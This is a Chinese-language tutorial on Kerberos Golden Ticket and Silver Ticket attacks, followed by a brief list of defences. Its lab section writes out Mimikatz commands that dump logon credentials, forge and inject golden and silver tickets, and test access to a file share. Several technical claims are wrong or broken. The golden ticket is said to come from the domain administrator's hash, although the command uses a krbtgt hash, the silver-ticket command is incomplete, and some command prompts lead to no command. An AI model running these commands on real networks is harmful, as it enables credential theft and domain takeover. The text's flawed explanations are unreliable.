目录
在网络安全领域中,黄金票据(Golden Ticket)和白银票据(Silver Ticket)是两种常见的攻击手段。它们都是利用 Kerberos 认证协议的漏洞来获取对目标系统的访问权限。在深入了解黄金票据和白银票据之前,我们先来介绍一下 Kerberos 认证的一些前置知识。
一、Kerberos 认证前置知识
(一)Kerberos 简介
Kerberos 是一种网络认证协议,用于在不安全的网络环境中对用户和服务进行身份验证。它使用对称密钥加密技术,确保通信的安全性。Kerberos 协议的核心是一个密钥分发中心(Key Distribution Center,KDC),它负责管理用户和服务的密钥,并为用户和服务之间的通信提供认证和授权。
(二)Kerberos 认证流程
- 用户请求认证:当用户想要访问一个受 Kerberos 保护的服务时,用户首先向 KDC 发送一个认证请求。这个请求包含用户的身份信息,如用户名和密码。
- KDC 验证用户身份:KDC 接收到用户的认证请求后,首先验证用户的身份。KDC 使用用户的密码和一个预先存储的密钥来计算一个加密的响应。如果用户提供的密码正确,KDC 能够解密这个响应,并确认用户的身份。
- KDC 发放票据授予票据(Ticket Granting Ticket,TGT):如果用户的身份验证通过,KDC 会发放一个 TGT。TGT 是一个加密的票据,它包含用户的身份信息和一个会话密钥。用户使用自己的密码来解密 TGT,并获取会话密钥。
- 用户请求服务票据(Service Ticket):用户使用 TGT 和会话密钥向 KDC 发送一个请求,请求一个服务票据。服务票据是一个加密的票据,它包含用户的身份信息和一个用于与服务进行通信的会话密钥。
- KDC 发放服务票据:KDC 接收到用户的请求后,验证 TGT 的有效性。如果 TGT 有效,KDC 会发放一个服务票据。用户使用会话密钥来解密服务票据,并获取与服务进行通信的会话密钥。
- 用户向服务发送认证请求:用户使用服务票据和会话密钥向服务发送一个认证请求。服务使用自己的密钥来解密服务票据,并验证用户的身份。如果用户的身份验证通过,服务会接受用户的请求,并为用户提供服务。
二、黄金票据和白银票据的区别
(一)黄金票据
- 定义:黄金票据是一种由域管理员的密码哈希值生成的伪造 TGT。攻击者可以使用黄金票据来模拟域管理员的身份,从而获得对目标系统的完全访问权限。
- 生成条件:
- 知道域管理员的密码哈希值。
- 知道域的名称和域的 SID(Security Identifier,安全标识符)。
- 攻击范围:可以访问域内的任何服务,包括高权限的服务。
- 持久性:一旦生成,黄金票据可以在很长时间内使用,直到域管理员的密码哈希值发生变化。
(二)白银票据
- 定义:白银票据是一种由服务账户的密码哈希值生成的伪造服务票据。攻击者可以使用白银票据来模拟特定服务的身份,从而获得对该服务的访问权限。
- 生成条件:
- 知道服务账户的密码哈希值。
- 知道目标服务的名称和目标服务的 SID。
- 攻击范围:只能访问特定的服务,不能访问其他服务。
- 持久性:一旦生成,白银票据可以在一定时间内使用,直到服务账户的密码哈希值发生变化。
三、实例搭建
(一)环境准备
- 准备一台 Windows 域控制器和一台 Windows 客户端。
- 在域控制器上创建一个域用户账户和一个服务账户。
- 在客户端上安装 Mimikatz 工具。
(二)获取密码哈希值
- 使用 Mimikatz 工具在客户端上获取域管理员的密码哈希值和服务账户的密码哈希值。
- 在命令提示符下输入以下命令:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
- 这个命令将列出当前系统中所有用户的登录信息,包括用户名、密码哈希值等。
- 在命令提示符下输入以下命令:
(三)生成黄金票据
- 使用 Mimikatz 工具在客户端上生成黄金票据。
- 在命令提示符下输入以下命令:
mimikatz.exe "kerberos::golden /domain:mydomain.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /user:administrator /krbtgt:hash_value /ptt"
- 其中,
mydomain.com
是域的名称,S-1-5-21-1234567890-1234567890-1234567890
是域的 SID,administrator
是域管理员的用户名,hash_value
是域管理员的密码哈希值。 /ptt
参数表示将黄金票据注入到当前会话中。
- 在命令提示符下输入以下命令:
(四)生成白银票据
- 使用 Mimikatz 工具在客户端上生成白银票据。
- 在命令提示符下输入以下命令:
mimikatz.exe "kerberos::silver /domain:mydomain.com /target:targetserver.mydomain.com /service:cifs /rc4:hash_value /ptt"
- 其中,
mydomain.com
是域的名称,targetserver.mydomain.com
是目标服务的名称,cifs
是目标服务的类型(例如,文件共享服务),hash_value
是服务账户的密码哈希值。 /ptt
参数表示将白银票据注入到当前会话中。
- 在命令提示符下输入以下命令:
(五)验证攻击效果
- 使用黄金票据或白银票据访问目标服务。
- 在客户端上打开命令提示符,输入以下命令:
dir \\targetserver.mydomain.com\share
- 如果攻击成功,你将能够访问目标服务上的共享文件夹。
- 在客户端上打开命令提示符,输入以下命令:
四、防范措施
- 加强密码安全:使用强密码,并定期更换密码。避免使用容易被猜测的密码,如生日、电话号码等。
- 限制用户权限:根据用户的工作职责和需求,合理分配用户权限。避免给予用户过高的权限,以减少攻击面。
- 监控网络活动:使用网络监控工具来检测异常的网络活动,如大量的登录尝试、未知的 IP 地址连接等。及时发现并处理潜在的安全威胁。
- 及时更新系统和软件:保持系统和软件的更新可以修复已知的安全漏洞,减少被攻击的风险。
五、总结
黄金票据和白银票据是两种常见的攻击手段,它们都是利用 Kerberos 认证协议的漏洞来获取对目标系统的访问权限。黄金票据可以模拟域管理员的身份,攻击范围广,持久性强;白银票据可以模拟特定服务的身份,攻击范围窄,持久性相对较弱。在实际应用中,我们应该加强密码安全、限制用户权限、监控网络活动和及时更新系统和软件等措施,以提高系统的安全性。同时,也要了解这些攻击手段的原理和防范措施,以便及时发现并处理潜在的安全威胁。